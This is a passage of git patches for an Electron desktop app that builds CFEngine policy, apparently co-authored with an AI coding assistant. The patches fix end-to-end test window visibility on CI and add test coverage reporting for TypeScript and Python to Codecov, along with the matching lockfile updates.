mainWindow.loadFile(join(__dirname, '../renderer/index.html')); + mainWindow.loadURL(`${APP_ORIGIN}/index.html`); } } app.whenReady().then(() => { + protocol.handle('app', serveRenderer); app.setAppUserModelId('com.northerntech.cfengine-policy-builder'); // The app needs no web permissions (camera, geolocation, notifications…) except writing From 5ce78c8cd259c21a58e8e3fbc6ffd39edf01ed3a Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 16:25:23 +0300 Subject: [PATCH 084/141] e2e: Tests on CI wait for the app's window to be shown On GitHub's runner the first app launch never got its window shown, and under xvfb a hidden Electron window renders almost no frames, so the first test's first click waited out its timeout at "stable". The fixture now shows the window if the app hasn't after a few seconds (and logs it), a warm-up launch runs before the tests, and under test the window isn't throttled before it's visible. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- e2e/fixtures.ts | 31 +++++++++++++++++++++++++++---- e2e/global-setup.ts | 26 ++++++++++++++++++++++++++ e2e/playwright.config.ts | 2 ++ src/main/index.ts | 6 ++++-- 4 files changed, 59 insertions(+), 6 deletions(-) create mode 100644 e2e/global-setup.ts diff --git a/e2e/fixtures.ts b/e2e/fixtures.ts index 9754fcc..e437716 100644 --- a/e2e/fixtures.ts +++ b/e2e/fixtures.ts @@ -40,7 +40,7 @@ export const test = base.extend({ await app.close(); }, window: async ({ app, consoleErrors }, provide, testInfo) => { - const window = await app.firstWindow(); + const window = await shownWindow(app); window.on('console', message => { if (message.type() === 'error') consoleErrors.push(message.text()); }); @@ -63,12 +63,35 @@ export async function launch(userDataDir: string): Promise string, string >; - // Off screen locally, so a run doesn't take over the desktop (CFPB_E2E_SHOW=1 shows it). Not in CI: - // xvfb is a virtual screen already, and there a hidden window paints no frames, which stalls clicks. - if (process.env.CFPB_E2E_SHOW !== '1' && !process.env.CI) env.CFPB_E2E_HIDDEN = '1'; + if (HIDDEN_RUN) env.CFPB_E2E_HIDDEN = '1'; + env.CFPB_E2E = '1'; return electron.launch({ args: [appEntry, `--user-data-dir=${userDataDir}`], env }); } +// Off screen locally, so a run doesn't take over the desktop (CFPB_E2E_SHOW=1 shows it). Not in CI: +// xvfb is a virtual screen already, and there a hidden window paints no frames, which stalls clicks. +const HIDDEN_RUN = process.env.CFPB_E2E_SHOW !== '1' && !process.env.CI; +const SHOW_WAIT_MS = 5_000; + +/** + * The app's window, shown. Under xvfb a never-shown window gets about one animation frame a second, + * or none, so Playwright's "stable" check hangs; the app shows it on its first paint, which a + * cold launch can delay. If it isn't shown after a few seconds, show it (and say so in the log). + */ +export async function shownWindow(app: ElectronApplication): Promise { + const window = await app.firstWindow(); + if (HIDDEN_RUN) return window; + const visible = () => app.evaluate(({ BrowserWindow }) => BrowserWindow.getAllWindows()[0]?.isVisible() ?? false); + const deadline = Date.now() + SHOW_WAIT_MS; + while (!(await visible()) && Date.now() < deadline) await new Promise(resolve => setTimeout(resolve, 100)); + if (!(await visible())) { + console.log(`e2e: the window was still hidden after ${SHOW_WAIT_MS / 1000} s; showing it`); + await app.evaluate(({ BrowserWindow }) => BrowserWindow.getAllWindows()[0]?.show()); + } + expect(await visible(), 'the app window is shown').toBe(true); + return window; +} + // Opens a project folder (or its cfbs.json) the way File > Open Recent does, with no native dialog. export const openFromMenu = (app: ElectronApplication, path: string) => app.evaluate(({ BrowserWindow }, target) => BrowserWindow.getAllWindows()[0].webContents.send('menu:open-recent', target), path); diff --git a/e2e/global-setup.ts b/e2e/global-setup.ts new file mode 100644 index 0000000..aac5440 --- /dev/null +++ b/e2e/global-setup.ts @@ -0,0 +1,26 @@ +import { mkdtempSync, rmSync } from 'fs'; +import { tmpdir } from 'os'; +import { join } from 'path'; + +import { launch, shownWindow } from './fixtures'; + +// The machine's first app launch can stall the page for a while (on CI runners: ~30 s, likely +// one-time font and GPU setup), long enough to time out the first test's first click. Launch once +// here and wait until the start screen takes clicks, so every test starts warm. +const WARM_UP_TIMEOUT_MS = 120_000; + +export default async function globalSetup() { + const userDataDir = mkdtempSync(join(tmpdir(), 'cfpb-e2e-warm-up-')); + const started = Date.now(); + const app = await launch(userDataDir); + try { + const window = await shownWindow(app); + // A trial click runs the visible/enabled/stable checks without clicking. + await window.getByRole('button', { name: 'New Project' }).click({ trial: true, timeout: WARM_UP_TIMEOUT_MS }); + console.log(`e2e warm-up: the app took clicks after ${((Date.now() - started) / 1000).toFixed(1)} s`); + } finally { + await app.evaluate(({ app: electronApp }) => electronApp.exit(0)).catch(() => {}); + await app.close().catch(() => {}); + rmSync(userDataDir, { recursive: true, force: true }); + } +} diff --git a/e2e/playwright.config.ts b/e2e/playwright.config.ts index 87e07f5..a43f388 100644 --- a/e2e/playwright.config.ts +++ b/e2e/playwright.config.ts @@ -5,6 +5,8 @@ import { defineConfig } from '@playwright/test'; // captures its own screenshot on failure. export default defineConfig({ testDir: '.', + // One warm-up launch before the tests (see global-setup.ts). + globalSetup: './global-setup.ts', outputDir: '../test-results/e2e', timeout: 60_000, expect: { timeout: 10_000 }, diff --git a/src/main/index.ts b/src/main/index.ts index c8dba71..c5e89c7 100644 --- a/src/main/index.ts +++ b/src/main/index.ts @@ -145,6 +145,8 @@ async function refreshMenu(): Promise { // don't steal focus. Playwright drives the page all the same. const HIDDEN = !app.isPackaged && process.env.CFPB_E2E_HIDDEN === '1'; if (HIDDEN) app.dock?.hide(); +// Under test the page always renders frames, even before the window counts as visible. +const TESTING = HIDDEN || (!app.isPackaged && process.env.CFPB_E2E === '1'); function createWindow(): void { const mainWindow = new BrowserWindow({ @@ -160,8 +162,8 @@ function createWindow(): void { preload: join(__dirname, '../preload/index.js'), sandbox: true, contextIsolation: true, - // A hidden window would otherwise have its timers throttled. - backgroundThrottling: !HIDDEN + // A hidden or not-yet-visible window would otherwise have its frames and timers throttled. + backgroundThrottling: !TESTING } }); From ae504bad211e14fbed541dab6428b23543b178ee Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 16:44:48 +0300 Subject: [PATCH 085/141] Added test coverage for TypeScript and Python, reported to Codecov npm run test:coverage and npm run backend:coverage measure each language; the Coverage workflow uploads both to Codecov (flags typescript and python, OIDC, informational only), and the README shows a badge for each. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- .github/workflows/coverage.yml | 55 ++++++++++++++++ .gitignore | 4 ++ README.md | 2 + codecov.yml | 22 +++++++ package-lock.json | 104 +++++++++++++++++++++++++++++ package.json | 3 + python/pyproject.toml | 6 ++ python/uv.lock | 115 +++++++++++++++++++++++++++++++++ vitest.config.ts | 7 ++ 9 files changed, 318 insertions(+) create mode 100644 .github/workflows/coverage.yml create mode 100644 codecov.yml diff --git a/.github/workflows/coverage.yml b/.github/workflows/coverage.yml new file mode 100644 index 0000000..2c4a064 --- /dev/null +++ b/.github/workflows/coverage.yml @@ -0,0 +1,55 @@ +name: Coverage + +# Measures test coverage and uploads it to Codecov, one flag per language (badges in README.md). +# Codecov's GitHub app authenticates the upload through OIDC: no token, so it runs in the +# org's own repository only (forks get no OIDC token for it). +on: + push: + branches: [main] + pull_request: + +permissions: + contents: read + id-token: write + +concurrency: + group: coverage-${{ github.ref }} + cancel-in-progress: true + +jobs: + typescript: + name: TypeScript + if: github.repository_owner == 'cfengine' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v7 + - uses: actions/setup-node@v7 + with: + node-version-file: .nvmrc + cache: npm + - run: npm ci + - run: npm run test:coverage + - uses: codecov/codecov-action@v7 + with: + use_oidc: true + files: coverage/lcov.info + flags: typescript + fail_ci_if_error: true + + python: + name: Python + if: github.repository_owner == 'cfengine' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v7 + - uses: astral-sh/setup-uv@v7 + with: + enable-cache: true + - run: uv sync --frozen --directory python + - run: uv run --no-sync --directory python pytest --cov --cov-report=xml + - uses: codecov/codecov-action@v7 + with: + use_oidc: true + files: python/coverage.xml + flags: python + fail_ci_if_error: true diff --git a/.gitignore b/.gitignore index e2ae8b9..58ed95d 100644 --- a/.gitignore +++ b/.gitignore @@ -161,3 +161,7 @@ python/build/ # Playwright (e2e/) test-results/ playwright-report/ + +# Python coverage (npm run backend:coverage) +.coverage +coverage.xml diff --git a/README.md b/README.md index 48716d7..b602a2f 100644 --- a/README.md +++ b/README.md @@ -2,6 +2,8 @@ [![CI](https://github.com/cfengine/policy-builder/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/cfengine/policy-builder/actions/workflows/ci.yml) [![Electron security](https://github.com/cfengine/policy-builder/actions/workflows/electron-security.yml/badge.svg?branch=main)](SECURITY-CHECKLIST.md) +[![TypeScript coverage](https://img.shields.io/codecov/c/github/cfengine/policy-builder/main?flag=typescript&label=TypeScript%20coverage)](https://app.codecov.io/gh/cfengine/policy-builder?flags%5B0%5D=typescript) +[![Python coverage](https://img.shields.io/codecov/c/github/cfengine/policy-builder/main?flag=python&label=Python%20coverage)](https://app.codecov.io/gh/cfengine/policy-builder?flags%5B0%5D=python) Desktop application for building CFEngine policy. diff --git a/codecov.yml b/codecov.yml new file mode 100644 index 0000000..fbba11f --- /dev/null +++ b/codecov.yml @@ -0,0 +1,22 @@ +# Two languages, uploaded by separate jobs (.github/workflows/coverage.yml): each flag keeps its +# last result when a commit uploads only the other, and coverage only informs, never fails a PR. +flag_management: + default_rules: + carryforward: true + individual_flags: + - name: typescript + paths: [src/] + - name: python + paths: [python/] + +coverage: + status: + project: + default: + informational: true + patch: + default: + informational: true + +comment: + layout: 'condensed_header, flags, files' diff --git a/package-lock.json b/package-lock.json index b5a2dc5..eccb68e 100644 --- a/package-lock.json +++ b/package-lock.json @@ -41,6 +41,7 @@ "@types/react": "^19.3.0", "@types/react-dom": "^19.3.0", "@vitejs/plugin-react": "^5.2.0", + "@vitest/coverage-v8": "^5.0.1", "electron": "^44.4.3", "electron-builder": "^26.16.1", "electron-vite": "^5.0.0", @@ -462,6 +463,16 @@ } } }, + "node_modules/@bcoe/v8-coverage": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-1.0.2.tgz", + "integrity": "sha512-6zABk/ECA/QYSCQ1NGiVwwbQerUCZ+TQbp64Q3AgmfNvurHH0j8TtXa1qbShXA6qqkpAj4V5W8pP6mLe1mcMqA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, "node_modules/@bramus/specificity": { "version": "2.4.2", "resolved": "https://registry.npmjs.org/@bramus/specificity/-/specificity-2.4.2.tgz", @@ -5622,6 +5633,58 @@ "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0" } }, + "node_modules/@vitest/coverage-v8": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/@vitest/coverage-v8/-/coverage-v8-5.0.1.tgz", + "integrity": "sha512-FRC8ACiudC3dI6MTplzRSYWHDRnIv2IPfbzs4FdoJNsMal/35sWV8hwIfV8ZcqzSPy+uXHeMVONt9CEqtOU17w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@bcoe/v8-coverage": "^1.0.2", + "@vitest/istanbul-lib-coverage": "^1.0.0", + "@vitest/istanbul-lib-report": "^1.0.0", + "ast-v8-to-istanbul": "^1.0.5", + "magicast": "^0.5.4", + "obug": "^2.1.4", + "std-env": "^4.2.0", + "tinyrainbow": "^3.1.1" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "@vitest/browser": "5.0.1", + "vitest": "5.0.1" + }, + "peerDependenciesMeta": { + "@vitest/browser": { + "optional": true + } + } + }, + "node_modules/@vitest/istanbul-lib-coverage": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@vitest/istanbul-lib-coverage/-/istanbul-lib-coverage-1.0.2.tgz", + "integrity": "sha512-9J/JMwOf9AoJhAywhrn7ScKTL38hsWQP/qPG60OtaAFcQ5OXPwKsxZFlbnuCKmZ61m8/lGgHYnFpdyQZUvG/iA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=22" + } + }, + "node_modules/@vitest/istanbul-lib-report": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@vitest/istanbul-lib-report/-/istanbul-lib-report-1.0.2.tgz", + "integrity": "sha512-gUsfXZJbzPamoIY5TvHFiMMoXESBrUMo+xqaj+rYrWI69+EnvRlYBlP96ZnHPY4vX8kyUpgAnFUCg5wZG/HkDQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/istanbul-lib-coverage": "1.0.2" + }, + "engines": { + "node": ">=22" + } + }, "node_modules/@vitest/mocker": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-5.0.1.tgz", @@ -6258,6 +6321,25 @@ "node": ">=4" } }, + "node_modules/ast-v8-to-istanbul": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/ast-v8-to-istanbul/-/ast-v8-to-istanbul-1.0.7.tgz", + "integrity": "sha512-kFL68AG6ajd8fg248zwM9GQrUWEp79gsmjum34OEXjs4yHuUMZfYKwOLW9GMmB4oNvVrj+EAGxsP7ye2UR9UlA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.31", + "estree-walker": "^3.0.3", + "js-tokens": "^10.0.0" + } + }, + "node_modules/ast-v8-to-istanbul/node_modules/js-tokens": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-10.0.0.tgz", + "integrity": "sha512-lM/UBzQmfJRo9ABXbPWemivdCW8V2G8FHaHdypQaIy523snUjog0W71ayWXTjiR+ixeMyVHN2XcpnTd/liPg/Q==", + "dev": true, + "license": "MIT" + }, "node_modules/async": { "version": "3.2.6", "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz", @@ -11162,6 +11244,18 @@ "@jridgewell/sourcemap-codec": "^1.5.5" } }, + "node_modules/magicast": { + "version": "0.5.5", + "resolved": "https://registry.npmjs.org/magicast/-/magicast-0.5.5.tgz", + "integrity": "sha512-UicdXN8zQ3JHlxVq+28afMXPr1z7WNY6+7EJnzTdQWkTAlMLF5fNCCKxJHBQwGaNGR11581EiQmQzx73+MvszA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.7", + "@babel/types": "^7.29.7", + "source-map-js": "^1.2.1" + } + }, "node_modules/matcher": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/matcher/-/matcher-3.0.0.tgz", @@ -14832,6 +14926,16 @@ "url": "https://github.com/sponsors/SuperchupuDev" } }, + "node_modules/tinyrainbow": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-3.2.0.tgz", + "integrity": "sha512-LgO3D9yZJjApUiuUfl9iFAwrtaX4+lok3wJIqttGoKCHlWUqHqbQpnxCf82L8FjgKsh4iGo78hqJwgL8F6To2A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, "node_modules/tinyspy": { "version": "4.0.4", "resolved": "https://registry.npmjs.org/tinyspy/-/tinyspy-4.0.4.tgz", diff --git a/package.json b/package.json index 42e2547..99bfe38 100644 --- a/package.json +++ b/package.json @@ -22,6 +22,7 @@ "backend:sync": "uv sync --directory python", "backend:build": "uv run --directory python --group build pyinstaller --noconfirm cfpb-backend.spec", "backend:test": "uv run --directory python pytest", + "backend:coverage": "uv run --directory python pytest --cov --cov-report=xml --cov-report=term:skip-covered", "backend:format": "uv run --directory python black .", "backend:format:check": "uv run --directory python black --check .", "typecheck:node": "tsc --noEmit -p tsconfig.node.json --composite false", @@ -33,6 +34,7 @@ "format:check": "prettier --check \"src/**/*.{ts,tsx,css,json}\" \"e2e/**/*.ts\" \"scripts/**/*.mjs\"", "test": "vitest run --project renderer --project components --project main", "test:fast": "vitest run --project renderer --project main", + "test:coverage": "vitest run --project renderer --project components --project main --coverage", "test:integration": "vitest run --project integration", "test:watch": "vitest --project renderer --project main", "test:e2e": "electron-vite build && playwright test -c e2e/playwright.config.ts" @@ -70,6 +72,7 @@ "@types/react": "^19.3.0", "@types/react-dom": "^19.3.0", "@vitejs/plugin-react": "^5.2.0", + "@vitest/coverage-v8": "^5.0.1", "electron": "^44.4.3", "electron-builder": "^26.16.1", "electron-vite": "^5.0.0", diff --git a/python/pyproject.toml b/python/pyproject.toml index 20419a3..1cd6e90 100644 --- a/python/pyproject.toml +++ b/python/pyproject.toml @@ -22,6 +22,7 @@ dev = [ "black>=24.10", "jsonschema>=4.23", "pytest>=8.3", + "pytest-cov>=7.1.0", ] # Only `npm run backend:build` needs PyInstaller (it runs with --group build); # a plain `uv sync` — including CI's lint/test job — skips it. @@ -39,6 +40,11 @@ only-include = ["cfpb_backend.py", "cfpb_build.py", "cfpb_compiler.py", "cfpb_te [tool.pytest.ini_options] testpaths = ["tests"] +# npm run backend:coverage: the sidecar's own modules, not its tests or the venv. +[tool.coverage.run] +source = ["."] +omit = ["tests/*", ".venv/*", "build/*", "dist/*", "cfpb-backend.spec"] + # Black is the only Python tool here — formatting, no linting. [tool.black] line-length = 120 diff --git a/python/uv.lock b/python/uv.lock index d19a551..f0984cb 100644 --- a/python/uv.lock +++ b/python/uv.lock @@ -138,6 +138,7 @@ dev = [ { name = "black" }, { name = "jsonschema" }, { name = "pytest" }, + { name = "pytest-cov" }, ] [package.metadata] @@ -152,6 +153,7 @@ dev = [ { name = "black", specifier = ">=24.10" }, { name = "jsonschema", specifier = ">=4.23" }, { name = "pytest", specifier = ">=8.3" }, + { name = "pytest-cov", specifier = ">=7.1.0" }, ] [[package]] @@ -236,6 +238,105 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335 }, ] +[[package]] +name = "coverage" +version = "7.16.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/2f/55/d1eaf3e73781174340a00dc1ba2aee8a65f82fadb18e2797b192b6b3925b/coverage-7.16.2.tar.gz", hash = "sha256:ca64d9f1f384f151b9511bec01126072acd2f313439f8ed015a22d8790aab6fa", size = 971999 } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5e/2c/f8296c63c5d542f3d21aed685e56b7031a419037d155bb3382fc0940d249/coverage-7.16.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:218d742afca2b5ad5ca759e93eddedfbcc6eadf8322f080dcefc40b7bd4e2d48", size = 223969 }, + { url = "https://files.pythonhosted.org/packages/90/23/6f3dcb1423a0d43216e402ea1746e4a7c7c44f38896b97dd573790f56a40/coverage-7.16.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:a9a638be322a8d76a41cdb17781c7f82aaee6a66493d8ffb7e2c09ee22423d99", size = 224328 }, + { url = "https://files.pythonhosted.org/packages/ac/7d/8f3b6dc920e3fc6732f7678785a2091db439f186afbec30dbf2214d9b1f7/coverage-7.16.2-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:724bd0f1e81856b35e59fc98cf7b4e544a3cb662e4e0864dca73d4326ee9d808", size = 255832 }, + { url = "https://files.pythonhosted.org/packages/d1/36/6c45f15be4eca4ac1062c6a55a323286494c99726a7e58951fe85967ac08/coverage-7.16.2-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:5375ebd99038021b35e99dc88255022912c06565d316212f4a576e4b08d30f5d", size = 258571 }, + { url = "https://files.pythonhosted.org/packages/34/fb/b54cbeba3ad89082c2e441278681859e538322cc34b84b2af7ebff00080f/coverage-7.16.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a076277ca9f5750cc230f0f578ebd2620cec60255b25707361699fef6fb465c", size = 259680 }, + { url = "https://files.pythonhosted.org/packages/6e/a2/0dc65ec3d61930e1e4c2e371763b15eb4290896eb343a12d5d3091308116/coverage-7.16.2-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:58d4a54c6ea672afef66d49be922a2c69826c5ae1a42a9cd94f0c9c2bacdf800", size = 261945 }, + { url = "https://files.pythonhosted.org/packages/d6/93/5fad7a61f2c14e08e98946fc31c1c7ffc1195061bf3fdc351db3be77a863/coverage-7.16.2-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0dcbcfcc059117284c603ff8cb61a65872512882f84a8cf0339241f7f7c2f148", size = 256191 }, + { url = "https://files.pythonhosted.org/packages/2d/47/74e5de9227b939ece9f64e729645ddc4296bea10dbfa98721c1333c8be2e/coverage-7.16.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:afdf43b72ef3876c1fe66423b91466e37877c9e81e8cec70542b7e8525b9d1b7", size = 257610 }, + { url = "https://files.pythonhosted.org/packages/13/fe/2cf28d40b43645d1b72388fe3ee7f7c747533a6a9557bb8c24a7ae74fe1a/coverage-7.16.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:9acc7f7ec4a1b5f89bd929fde5b8a714f6fafdc6cc18725413d510aa082b47ad", size = 255757 }, + { url = "https://files.pythonhosted.org/packages/d7/3d/7c149fd99fc8bbc39c80db5e688d1d39fd040be2ecb78b8335a51a55b9c0/coverage-7.16.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:80d3f7b48d43ee8fc5e8707a8adb43d743a5a1a85256c25a24f9d6d0e2238fa6", size = 259822 }, + { url = "https://files.pythonhosted.org/packages/e6/3f/b283fce09d5995e227bd8e513358dd7471bedc0f78abc85a925ebdb0a2f6/coverage-7.16.2-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:126d1af8804d7224421fe991ff65d3ce649081560df7a98b1a5ffff07f9923bd", size = 255325 }, + { url = "https://files.pythonhosted.org/packages/bf/91/f3325edf0c4223fb1fe1532b8dbef2a1d2f729459a9a7d1a44d073bae534/coverage-7.16.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c19cd6d025c1673f22afcd22c7df8a662d779e05d8e3fa6820c22afb895b0206", size = 257191 }, + { url = "https://files.pythonhosted.org/packages/c4/89/21eb5e83ecf2eed523c4eb3d65ae513cd082c8fd1b6deb34c4cb6c332f97/coverage-7.16.2-cp312-cp312-win32.whl", hash = "sha256:152877cdc8a07264882cfcd503ba56a3ef6cba56a70e8c70f6eb8ffd7384789a", size = 226034 }, + { url = "https://files.pythonhosted.org/packages/db/de/e3ad6d864c0833624b4f1f9b53f9e58e116c945e5e965c3f1e172c5e84cd/coverage-7.16.2-cp312-cp312-win_amd64.whl", hash = "sha256:e6c52d3307824ff93b39efd99e4185d557db40bd841452abfb32e5d9151ca162", size = 226569 }, + { url = "https://files.pythonhosted.org/packages/3e/c1/bccc58ebe5489cc70628f635c1932fd371f5d7da850dbcf960f95f4c4afc/coverage-7.16.2-cp312-cp312-win_arm64.whl", hash = "sha256:a678c0b6b22086ec2427359d22e37445d4a792f5fdbbc744112c7dade65cad02", size = 226372 }, + { url = "https://files.pythonhosted.org/packages/f0/f6/8eb4f220ef24f84fb27d852d4f9bf83e0c73ec1a4a08dd9a87e3f4529739/coverage-7.16.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:1a37c6e478cf687e1aa30a593d19c92c02fad9d122b51ab73f51b8dc7a0c0fc9", size = 223993 }, + { url = "https://files.pythonhosted.org/packages/40/23/d4bbaf0c154e0b0c2b5264890dbf6ef098dcb50ec8f2469be9490d191660/coverage-7.16.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0993d0e90858c03943d3cb152e068a20dd4707924deec84dd2230261baae3b1b", size = 224368 }, + { url = "https://files.pythonhosted.org/packages/7f/48/fc1e88fd571ec5cb38150b7f89f7696ca1bdf9920e01432febb69774cc85/coverage-7.16.2-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bb2fc905bbf4e6b7f40806ea79e31515abf6349594cdf0adf27c4215f0463204", size = 255358 }, + { url = "https://files.pythonhosted.org/packages/1d/56/6785397d07c29c8e70fbb9a07e97d062b43c21ffc5f12385917847f09f63/coverage-7.16.2-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:4358b9c8c0125b460407f3017c6cce8156e904b32772c5630d27112f52bdbfe5", size = 257955 }, + { url = "https://files.pythonhosted.org/packages/27/3b/c8cdd07721e5f99abd81cea970d971997f99bf158c0b85f51bd284179c8b/coverage-7.16.2-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1f15254427c9b33eedac4f198eaf9e356eb4f6214551afb43da6194a2c088ad7", size = 259183 }, + { url = "https://files.pythonhosted.org/packages/9b/11/606b192fe43d32574ec6238549d48de588fdcc18485682a5ec0a8ac357f2/coverage-7.16.2-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9a75a4704ff640e46170042eec1f984385a121227c505d5a16ad8e495f452541", size = 261325 }, + { url = "https://files.pythonhosted.org/packages/67/90/eea481f8b0305ceeb33f081a5f47e298391dbd1b589de0c4b3b3aa50d3f2/coverage-7.16.2-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:14253fc7bb15749b849795a06f5d3b6d8bc3fb8a4b5ddc341faf7a89dce205fc", size = 255531 }, + { url = "https://files.pythonhosted.org/packages/6b/be/dedbf9aea1457b120c27ac10b8fc2a357f37fa2b54c3e7286d42980a0a2a/coverage-7.16.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:921415102a90637fcc2e3f169f61dad7699ecf690e8639fc21b813acbedc0967", size = 257329 }, + { url = "https://files.pythonhosted.org/packages/fa/cb/b25c19d5bb2bd0f2e4e27fe8e2ffcae80c7a91ae181c0dc749ed60e9b1a4/coverage-7.16.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cce2bc991293f15cc4084ca116827b5900c5f34e1a54dfe83f10ab5c43162eb7", size = 255294 }, + { url = "https://files.pythonhosted.org/packages/5f/a2/892c5c5f4ad44b7b2ca009aee705191f3f268f15052244f2f9e3539b2e35/coverage-7.16.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:e1fa594c887365b69745f25a416806e61085dd07b94c9eae68a6e20730629b23", size = 259444 }, + { url = "https://files.pythonhosted.org/packages/ed/99/a562537deba0a3e370182ae71c149be796c39d8087365f17a09188f27145/coverage-7.16.2-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:11e597173af1dc33d5f8a7332ada544199269a223af1ee1770ddd5e245ad0fe8", size = 255111 }, + { url = "https://files.pythonhosted.org/packages/2d/20/854ec68641a9b3362ff068a32dfa41637299761617ef253791dbade6fc76/coverage-7.16.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:3e7f99698ba3a7d13988bdd984b7ebf13af4dbe2166dc8502eef90d77603b0a4", size = 256882 }, + { url = "https://files.pythonhosted.org/packages/db/0d/748e4518b0ac0f9ff2687c248a6e5f8c0737306e709372632a2556f84443/coverage-7.16.2-cp313-cp313-win32.whl", hash = "sha256:f80bd9f9633eafc73d0a913ba2645c96ba58bba1befc30590f7c0fbfde59d865", size = 226045 }, + { url = "https://files.pythonhosted.org/packages/31/fa/6e46edba66a183fe4d99d4bb52c173287e9b8dddabe0888d24cb8210e580/coverage-7.16.2-cp313-cp313-win_amd64.whl", hash = "sha256:8be099e979fc42559328a21828281b4578304191ae46ed4e80a407048a82eee6", size = 226581 }, + { url = "https://files.pythonhosted.org/packages/1b/d9/9ef6845367600b336ff75d000444a0d32497d6972c833141bd39356abf68/coverage-7.16.2-cp313-cp313-win_arm64.whl", hash = "sha256:28ff850182a67d117990fa2ce5ea1032836d8c9630dae867e8bdd3bff4533b79", size = 226409 }, + { url = "https://files.pythonhosted.org/packages/59/4c/577fc0803dab4155dcf808faffbdd7b159256781c0874a8586e17b81b149/coverage-7.16.2-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:4ee546b9e4872ffa194bf07ac87bfa1202ebb824d0795dc1ef22f175545ca90a", size = 224138 }, + { url = "https://files.pythonhosted.org/packages/75/9e/e3785ba3ecba2bd11efc74bfe2801ca4b78c4480b15a375648d809a59da3/coverage-7.16.2-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a2fac6895eb299a2e52d7bbb8fb3903502b9da8d3f5309ceb16ec40c646b58ee", size = 224445 }, + { url = "https://files.pythonhosted.org/packages/f0/d0/963ff22d3fd27117da3b8cc442f5bdc91196f783321e1a8ff0ec43476772/coverage-7.16.2-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:57ff3783f99d75a1e81dd56a9737eb5665e6736a5d93258ba596b6dcad8fd05b", size = 256112 }, + { url = "https://files.pythonhosted.org/packages/a8/d4/a306940c81c6ae759e82fff27d20b7fdc6896e422b821f51313cce212b6c/coverage-7.16.2-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:35f37886699cb9abd29958247d718628d5bc6f39e623dff66a09e546c42a7e03", size = 258727 }, + { url = 